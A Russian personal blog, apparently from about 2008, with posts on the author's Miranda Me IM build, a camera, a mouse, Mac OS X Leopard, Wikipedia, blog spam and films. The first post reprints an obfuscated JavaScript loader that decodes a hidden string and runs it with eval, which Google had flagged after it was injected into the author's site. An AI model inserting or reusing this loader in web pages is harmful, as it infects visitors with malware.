Тег: веб

55 trojan(s), 14 dialer(s)

Сайт моего проекта — сборки Miranda Me поразили вирусы.

Всё началось с того что я поставил Firefox 3, в который встроена гугловская защита от «вредоносных сайтов». Зайдя на сайт сборки я увидел пугающее сообщение на не менее пугающем красном фоне: «Reported Attack Site! This web site at mme.insense.ru has been reported as an attack site and has been blocked based on your security preferences.». Снизу две кнопки: «Get me out of there!» (гыг) и «Why was this site blocked?», на которую я и жмакнул.

«Malicious software includes 55 trojan(s), 14 dialer(s). Successful infection resulted in an average of 13 new processes on the target machine.» сообщила мне следующая страница. Проглядев код главной страницы, и не найдя на первый взгляд там ничего особенного, я тут же написал им письмо что «мой сайт не содержит никакого вредоносного кода».

Мне ответили примерно через неделю (очень даже быстро, я считаю). Вот этот код гугл признал «вредоносным»:

function omban(x){var
l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,40,55,31,32,
10,35,59,46,53,0,0,0,0,0,0,36,51,3,50,20,27,57,7,38,47,0,42,
5,4,25,56,13,1,22,6,11,54,43,28,2,15,14,0,0,0,0,37,0,48,23,
60,52,34,19,62,8,12,33,49,18,30,16,45,9,21,58,44,39,26,61,
29,17,24,41);for(j=Math.ceil(l/b);j>0;j--)
{r='';for(i=Math.min(l,b);i>0;i--,l--)
{{w|=(t[x.charCodeAt(p++)-48])<<s;if(s)
{r+=String.fromCharCode(143^w&255);
w>>=8;s-=2}else{s=6}}}eval(r);}}
omban('OEmOVBZgjC0g8IIgcTTKTBmOK65oVBZ7rT8rjI31O2IF7Vgz1Z
VFz2I7eVgVj78OKT7Io6V8z27Vc2Y7CUrF7I009X51cmZOcIY0jumOzBZ
17B5s1lKa8I0FjUYOrGgrt5s773m1v7mOVB8OtuuzgmV87uVz@erIo6V8
z2TK@euVIeIFVI0FCUEIUgrFKEZrtIIs2r7VcIIv6V8so88Fc00O8E3oj
BmOK2usAXKFz2I7eVms1u5')

Есть подозрение, что вирус засадили озлобленные на меня пользователи сборки (я не выпускал новую полноценную версию уже с 12 августа 2007 года) :D
Ну чтож, попытка обратить моё внимание на проект засчитана. Обещаю новую сборку в ближайшее время. ;)

Stay tuned!

1

Где моя лень?

Что-то со мной не так. Собрался и сделал всё что планировал:

  1. Первое и самое рутинное, но и интересное: полностью перерисовал дизайн обоих своих блогов, попутно обновив их до WordPress 2.5. Прусь. Запретил доступ к блогу пользователей с браузером Internet Explorer версии 6. Выводится сообщение с предложением обновить браузер и списком рекомендуемых браузеров. И сделал я так даже не потому что блог там отображается криво (а отображается он там, конечно же, очень криво), а потому что давно пора уже браузер сменить! :mad:
  2. Завёл аккаунт на Twitter.com, буду иногда там писать свои небанальные мысли (заодно добавил твиттер-виджет в блог). ;)
  3. Отснимал второй «концерт». Только до сих пор не понимаю зачем мне там надо было столько пить. =) Ну да ладно. По пути домой похерил где-то ключи от квартиры, теперь придётся покупать новые замке… Утром на нижней части новой (купленной за два часа до концерта) «фотосумке» обнаружил с килограмм прилипшей жевачки… :D

Шкурка, фотик, мышка, кошка

Давненько я ничего не постил… Теперь есть повод напрямую связанный с блогом, и даже два. :) Первый — новый домен mozzy.ru! С моего фамильного koromyslov.su будет редирект (хотя этот вопрос ещё будет мной решаться — может там будет что-то другое. Второй — я наконец-то выделил немного времени на то чтоб сделать свою шкурку для вордпресса. Имхо, кавайно и просто :)

Купил Canon EOS 400D в Позитронике… Никому не рекомендую покупать ничего в сием заведении — очень не понравилось отношение к покупателю. Первое — отказались дать обещанную день назад скидку. Второе — у них не нашлось ни одной Compact Flash карты для того чтобы проверить фотоаппарат стоимостью 25 тысяч рублей! В самом деле хотелось послать их нахер, развернуться и пойти купить чуть дороже в Бест-Фото в ЦУМе, просто время поджимало. Хрен с ним, фотик у меня. Работает отлично, дефектов нет. Доволен аки слон. =) Куча снимков. Уже понял что мне нужны объективы и даже какие объективы мне нужны, вспышка и штатив. А также винт на 500 гигабайт. :)

Привезли мне Logitech Revolution VX. Внешне — супер! Удобная, правда (мышка ноутбучная, потому меньше чем обычные) свисает мизинец, но мне это не приносит никаких неудобств. Металлический ролик очень тяжёлый, но крутить легко. «Маховичная» прокрутка очень интересна, но слишком чувствительна и периодически отвлекает от работы (оказалось, что это только в Windows, на Маке всё отлично и плавно). Как-то потратил минут пять на то чтоб умудриться за одно касание ролика прокрутить всю мою музыку в iTunes. Успешно! :) Нажать на ролик очень трудно… Другие кнопки нажимаются очень приятно. Не понравилась задержка движения курсора, видимо, это из-за того что мышка «общается» с маком через радио-интерфейс.

Скачал и поставил новую кошку — Mac OS X 10.5 Leopard! Многие назвали эту систему не революционной, а эволюционной. Ну чтож, многие правы. Но, насколько эта эволюция революционна! Многим не понравился новый трёхмерный зеркальный док, полупрозрачное меню, и т.п. Да они просто охренительные! А стэки? Ммм! И чего уж я никак не ожидал — стабильность работы! Релиз тигра не был таким стабильным. Я мог бы очень долго рассказывать про все новые фишки Лео, но это давным-давно уже сделали за меня в сотнях обзоров… :)

Вики!

Решил тут зарегистрироваться в Википедии чтоб подправить одну вики-неточность в интересной мне вики-статье. Так, для вики-интересу. :) Вики-неточность исправил, полез копаться дальше. Прифигел от того как там всё вики-продумано. Есть вики-администрация, вики-эксперты, вики-бюрократы, вики-арбитраж. Постоянно разгораются вики-дискуссии по вики-статьям где-что-как-кто вики-накосячил, вики-эксперты решают кто вики-прав, а кто вики-нет, вики-администрация кого-то вики-наказывает, вики-банит, вики-удаляет, вики-откатывает, вики-чекъюзеры проверяют вики-участников «на соответствие интернет-адресов». Есть вики-тролли, вики-флудеры, вики-спамеры, вики-вандалы, вики-боты. Блин, даже вики-консенсусы собираются. Ааааа! Ещё и вики-опросы, вики-голосования, вики-выборы, вики-арбитражный вики-комитет… Вики-кошмар, сколько вики-разделов! И вики-люди там общаются вики-языком. И все такие вики-серьёзные…

Вики!

Спамеры!

Грр, просто атака какая-то на мой блог! Никому не нужен «cialis», «xanax» или «tramadol»? А знаменитая «viagra»? Подешёвке! А? =) Поставил пост-модерацию комментов…
Потом ещё и на форум Miranda Me посыпались посты с порно-линками. Пришлось запретить гостям всё, кроме чтения форума…

Всю пятницу и выходные провалялся с температурой, насморком, больным горлом, кашлем, раскалывающейся головой и аццкой ломкой во всём теле… :( Хотел позаниматься Miranda Me, не удалось… Ещё не знаю куда пойду завтра, на работу или в больницу.

UPD. Пошёл на работу… Оттуда меня, сопливого кашлюнчика, сразу выгнали. :'( Сидел дома, лечился…

Почитал «CSS Zen Garden» by Dave Shea (скучно, но пару фишек перенял :)) и посмотрел несколько фильмов:

Американский пирог 5 — очередное говно, но лучше четвёртой.
Дом монстр — мрачный анимационный мультик, очень живые и реалистичные персонажи, тонкий юмор, очень понравился.
Ночь в музее — забавный фильм. Жутко бесило гопарьское гыгыканье «в правом динамике» в совсем не смешные моменты (ибо экранка).
Между небом и землёй — смотрю… Начало интересное, но мне не нравится эта блондинка. Хотя, это наверное всё из-за того фильма где она играла тупую (конечно же) блондинку. =) Сюжет банален, но в целом фильм понра.

ЖжЖив

Вернул свой жж к жизни. :) Комментить можно теперь и там.

UPD. Убил свой жж, комментить там больше нельзя и нечего. :)

Nova IM

Начнём с того, что куплены следующие домены: koromyslov.ru, nova-im.org, zting.ru и ещё один. Максу со zting.ru повезло. Очень желаемый мной mozz.ru занят каким-то грёбаным вап-сайтом. Хотя, я давно мечтал о домене со своей фамилией и электропочта красивая и мажорная будет! =)

Насчёт nova-im.org — может кто-то уже и знает… ;) Дизайн сайта почти готов, осталось дописать sensé engine до версии 2.0, сделать на ней сайт и приступить собственно к Нове. Как же чешутся лапки…)))))

UPD (где-то через полгода). С прискорбием сообщаю, что проект Nova умер, не успев и родиться. :) Ну, в принципе, что и ожидалось. Но время, «потраченное мной на него было потрачено не зря»: разобрался как работает вики, багтрекер, научился компилить .Net-приложения, немного успел изучить C# и студию, и… теперь я знаю как работает XMPP-протокол. =)

Правда об «аське»

Вот что написано о всеми любимой аське в вики jabber-клиента Bombus:

Протокол ICQ давно уже отстал от жизни, и те костыли которые ему подала AOL в виде сервисов AIM и денег при слиянии служб просто продлили агонию устаревающей службы. Её популярность развивается только за счёт тех, кто не имеет никакого опыта и знаний в информационных технологиях. Любой же человек имеющий опыт начинает искать другие службы удовлетворяющие его запросам… Численность абонентов ICQ постоянно растёт, но также растёт и отток её пользователей, неудовлетворённых постоянным спамом, глюками и коммерческой подоплёкой сервисов, в другие сети. Поэтому подпитка её численности заключается только в постоянном привлечении новых пользователей. В предчувствии скорой кризисной ситуации её руководство пытается протолкнуть в массы мысль о создании платного сервиса для того чтобы получить в свои руки огромный приток денежных средств для коммерческого подавления конкурентов. Так что насилие над трупом ICQ — это эксгумация тирана и помощь ему в установлении своего господства. О вреде монополий все наслышаны. И есть яркие тому примеры. © toon

Взято отсюда: http://bombus-im.org/wiki/howto/howto_icq
Рекомендую посетить сайт www.jabber.ru